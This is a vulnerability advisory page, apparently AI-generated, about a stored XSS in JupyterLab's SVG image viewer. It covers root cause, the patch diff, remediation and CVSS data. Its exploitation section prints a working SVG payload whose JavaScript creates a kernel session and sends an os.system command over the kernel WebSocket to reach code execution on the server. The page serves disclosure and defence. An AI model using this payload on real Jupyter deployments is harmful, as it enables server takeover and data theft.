CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



GHSA-GX64-GJ6P-PC4C

GHSA-GX64-GJ6P-PC4C: Stored Cross-Site Scripting in JupyterLab Image Viewer

Amit Schendel
Amit Schendel
Senior Security Researcher

Jul 23, 2026·7 min read·22 visits

Executive Summary (TL;DR)

Stored XSS in JupyterLab's image viewer allows arbitrary JavaScript execution and host takeover when a user opens a malicious SVG image in a new browser tab.

A stored Cross-Site Scripting (XSS) vulnerability exists in JupyterLab's Image Viewer component when processing Scalable Vector Graphics (SVG) images. Due to the lingering lifecycle of generated object URLs and the inheritance of the application origin by client-side Blobs, an attacker can execute arbitrary JavaScript within the victim's active session. This execution occurs when a user views an SVG file in the JupyterLab image viewer, right-clicks the image, and selects 'Open image in new tab'.

Vulnerability Overview

JupyterLab is an interactive development environment designed for working with notebooks, code, and data. The application features a built-in image viewer designed to render various image formats, including Scalable Vector Graphics (SVG). This viewer operates within the main application context, handling file access and rendering via standard web components.

Because the image viewer displays content uploaded or generated by users, it constitutes an attack surface. When rendering SVGs, the viewer must manage XML-formatted vector data that can natively contain interactive scripts. The vulnerability tracked as GHSA-GX64-GJ6P-PC4C arises from the insecure management of these script-bearing assets within the application Document Object Model (DOM).

An attacker can exploit this surface by placing a crafted SVG file inside a shared workspace or directory. When another user views this image and interacts with it using the standard browser context menu, the execution of arbitrary JavaScript occurs within the secure origin of the JupyterLab server. This allows the attacker to bypass the browser's origin-based security boundaries completely.

Root Cause Analysis

The core of the vulnerability lies in the combination of the HTML5 File API object lifetime model and browser security policies regarding Scalable Vector Graphics. To render an image file without base64 encoding, the image viewer component creates a DOM-allocated Blob containing the raw file data. It then generates a corresponding URI using URL.createObjectURL(blob), assigning this reference directly to the src attribute of an HTMLImageElement.

According to the W3C File API specification, any URI created using URL.createObjectURL() inherits the host origin of the creator document. In a standard deployment, this means the generated object URL (e.g., blob:http://localhost:8888/<uuid>) belongs entirely to the JupyterLab server's origin. When the browser renders this object URL within an <img> tag, it applies standard rendering restrictions that strictly block script execution inside SVGs.

However, a design flaw exists in how the object URL is maintained. The image viewer leaves the blob: URL registered in memory indefinitely during the widget's active lifecycle. If a user utilizes the native browser context menu to select 'Open image in new tab', the browser changes the rendering context. Instead of treating the SVG as a sandboxed image source, the browser loads the active object URL as a standalone top-level document, lifting the script execution restrictions and running any embedded JavaScript under the JupyterLab host origin.

Code Analysis

Prior to the implementation of the fix, the ImageViewer widget handled URL management in packages/imageviewer/src/widget.ts by replacing the old object URL only when a new image was loaded or when the component was disposed. This design meant the generated blob: URL remained valid and accessible for as long as the user kept the image viewer tab open within the JupyterLab interface.

// VULNERABLE CODE PATH
const oldurl = this._img.src || '';
let content = context.model.toString();
if (cm.format === 'base64') {
  this._img.src = `data:${this._mimeType};base64,${content}`;
} else {
  const a = new Blob([content], { type: this._mimeType });
  this._img.src = URL.createObjectURL(a); // Generates persistent object URL
}
URL.revokeObjectURL(oldurl); // Only revokes the previous URL, keeping the current one active

The patch addresses this lifecycle flaw by monitoring the rendering process and immediately revoking the object URL once the image loads. By binding event listeners to the load and error events of the HTMLImageElement, the application ensures the object URL is invalidated immediately after the browser finishes reading the raw blob data into memory.

// PATCHED CODE PATH
const blob = new Blob([content], { type: this._mimeType });
const objectUrl = URL.createObjectURL(blob);
this._objectUrl = objectUrl;
 
const revokeObjectUrl = () => {
  // Clean up listeners immediately
  this._img.removeEventListener('load', revokeObjectUrl);
  this._img.removeEventListener('error', revokeObjectUrl);
  if (this._objectUrl === objectUrl) {
    this._objectUrl = null;
  }
  // Revoke URL so it can no longer be requested in a new tab
  URL.revokeObjectURL(objectUrl);
};
 
this._img.addEventListener('load', revokeObjectUrl);
this._img.addEventListener('error', revokeObjectUrl);
this._img.src = objectUrl;

This remediation strategy is complete. Because the browser loads the image data into memory during the initial rendering step, the image remains visible to the user even after the object URL is revoked. However, if the user attempts to load the same URL in a new browser tab via 'Open image in new tab', the browser makes a new HTTP-style request to a URI that no longer exists, resulting in a network error and preventing the execution of the embedded script.

Exploitation Methodology

To execute this attack, an adversary must construct an SVG payload containing functional JavaScript. Because SVG is an XML-based format, arbitrary JavaScript can be defined using <script> tags wrapped in character data (CDATA) blocks or direct inline event handlers. The payload is crafted to target the JupyterLab REST API to achieve remote code execution.

<svg xmlns="http://www.w3.org/2000/svg" width="200" height="200">
  <rect width="100%" height="100%" fill="blue" />
  <script type="text/javascript">
    <![CDATA[
      (async function() {
        // Exploitation of the active session context
        const res = await fetch('/api/sessions', {
          method: 'POST',
          body: JSON.stringify({
            kernel: { name: 'python3' },
            name: 'ExploitSession',
            path: 'exploit.ipynb',
            type: 'notebook'
          })
        });
        const session = await res.json();
        const ws = new WebSocket(`ws://${window.location.host}/api/kernels/${session.kernel.id}/channels`);
        ws.onopen = () => {
          ws.send(JSON.stringify({
            header: { msg_id: 'cmd', msg_type: 'execute_request' },
            content: { code: "import os; os.system('touch /tmp/compromised')" }
          }));
        };
      })();
    ]]>
  </script>
</svg>

The target user must have existing access to the JupyterLab environment where the malicious file is hosted. The attacker uploads the file to a shared workspace or directory. Once the victim views the file and opens it in a new tab, the payload executes. No secondary authentication or elevated privileges are required to trigger the exploit, making the attack highly reliable once the initial vector is accessed.

Impact Assessment

The impact of this vulnerability is severe. Because the executed JavaScript inherits the active origin of the JupyterLab deployment, the script operates with the full authority of the authenticated victim. The attacker's payload can execute arbitrary commands on the underlying server host by interacting with the JupyterLab kernel and terminal APIs.

Furthermore, the script can access any data stored within the JupyterLab workspace. This includes sensitive credentials, source code, dataset parameters, and environmental variables. The attacker can exfiltrate this information to an external server under their control by issuing cross-origin resource sharing (CORS) requests or utilizing image-based exfiltration techniques.

Because the vulnerability leads directly to arbitrary code execution on the host server hosting JupyterLab, it has been assigned a CVSS score of 8.2 (High). The attack is particularly damaging in collaborative research or data science environments where files are regularly shared among multiple users on a single shared JupyterLab infrastructure.

Remediation & Mitigation

To completely mitigate this security risk, administrators and developers must upgrade the JupyterLab server installation to a patched release. The fixes are backported and available in versions v4.5.10 and v4.6.2 of the application.

If upgrading is not immediately feasible, organizations can implement a Content Security Policy (CSP) header to prevent the execution of scripts within inline documents. Specifically, configuring the sandbox directive or restricting the script-src and object-src policies can help block script parsing within the browser engine.

Additionally, access control policies should be enforced to prevent untrusted users from uploading arbitrary SVG files to shared directories. Security teams should also advise users against opening images in standalone browser tabs when working with files sourced from external or unverified origins.

Official Patches

Project JupyterRepository Advisory with detailed mitigation path
Project JupyterFix Pull Request 19184

Fix Analysis (2)

Technical Appendix

CVSS Score
8.2/ 10
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H

Affected Systems

JupyterLab Server deployments

Affected Versions Detail

Product
Affected Versions
Fixed Version
JupyterLab
Project Jupyter
< 4.5.104.5.10
JupyterLab
Project Jupyter
>= 4.6.0, < 4.6.24.6.2
AttributeDetail
CWE IDCWE-79
Attack VectorNetwork (AV:N)
CVSS v3.18.2 (High)
Exploit StatusProof-of-Concept
ImpactStored XSS / Remote Command Execution
CISA KEV StatusNot Listed

MITRE ATT&CK Mapping

T1189Drive-by Compromise
Initial Access
T1203Exploitation for Client Execution
Execution
CWE-79
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

The application does not properly neutralize input inside SVG XML structures, enabling script execution under the parent domain context when rendered outside of standard image elements.

Known Exploits & Detection

GitHub Security AdvisoryProof of concept details detailing how the SVG is embedded with XML JS tags to make calls back to /api/kernels.

References & Sources

  • [1]GitHub Security Advisory GHSA-GX64-GJ6P-PC4C
  • [2]JupyterLab release v4.5.10
  • [3]JupyterLab release v4.6.2

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•2 days ago•CVE-2026-53493
6.9

CVE-2026-53493: Uncontrolled Resource Consumption in containerd Image-Pull Descriptor Graph Resolution

containerd is an open-source container runtime. Prior to versions 1.7.36, 2.0.13, 2.2.9, 2.3.6, and 2.4.1, a crafted OCI index graph can force very high CPU/memory usage during PullImage (before container start), causing long ContainerCreating stalls and, at larger sizes, node/runtime instability. The vulnerability occurs because containerd's image-pull descriptor graph resolution handlers processed OCI image indices and manifests recursively without enforcing boundaries on traversal depth or breadth, and without maintaining a global visited registry to count duplicate references.

Alon Barad
Alon Barad
20 views•6 min read
•2 days ago•GHSA-62MM-XWMV-CRHG
7.5

GHSA-62MM-XWMV-CRHG: Unauthenticated Path Traversal in Khoj Static File Serving Endpoint

An unauthenticated path traversal vulnerability exists in the Khoj AI assistant platform via the static file serving endpoint `/home/{file_path:path}`. Due to improper path sanitization when handling user input with Python's pathlib module, a remote attacker can read arbitrary files from the server's filesystem.

Alon Barad
Alon Barad
12 views•5 min read
•2 days ago•CVE-2026-100369
8.4

CVE-2026-100369: Argument Injection Vulnerability in CliInvoke Process Runner Factories

An argument injection vulnerability (CWE-88) in CliInvoke and AlastairLundy.CliInvoke allows local attackers to execute arbitrary system commands. By injecting double-quote characters into target file paths or arguments, attackers can terminate operating-system-level quoted boundaries and introduce new commands when shell runners are utilized.

Amit Schendel
Amit Schendel
10 views•5 min read
•2 days ago•CVE-2026-100368
8.4

CVE-2026-100368: OS Command Injection in CliInvoke Shell Wrappers

An OS command injection vulnerability exists in the PowerShell and Cmd shell wrappers of the CliInvoke .NET library (specifically the CliInvoke.Specializations package). Under vulnerable configurations, arguments and targets are passed as a single flat string to ProcessStartInfo.Arguments, permitting double-quote breakout and execution of arbitrary secondary commands with host process privileges.

Amit Schendel
Amit Schendel
9 views•7 min read
•2 days ago•GHSA-VV77-66RF-PM86
8.8

GHSA-vv77-66rf-pm86: Gas Draining Vulnerability in mpp Multi-Party Payments Library

A critical-severity input validation vulnerability in the Elixir multi-party payment library `mpp` allows unauthenticated remote attackers to exhaust the transaction fee payer's wallet balance. By submitting a crafted Ethereum transaction envelope with artificially inflated gas parameters, an attacker can force the server to co-sign and commit to pay exorbitant fees, leading to severe financial loss and Denial of Service.

Amit Schendel
Amit Schendel
9 views•5 min read
•2 days ago•GHSA-QPXH-FF8M-C62V
7.5

GHSA-QPXH-FF8M-C62V: Gas Draining and Resource Exhaustion in ZenHive mpp Library

A critical gas draining vulnerability exists in the ZenHive mpp (Multi-Payment Protocol) library prior to version v0.6.0. By omitting validation of EIP-2930 access lists in custom 0x76 transaction envelopes, the library allows malicious clients to pad transaction payloads with dummy addresses, draining the gas sponsor's hot wallet.

Amit Schendel
Amit Schendel
8 views•8 min read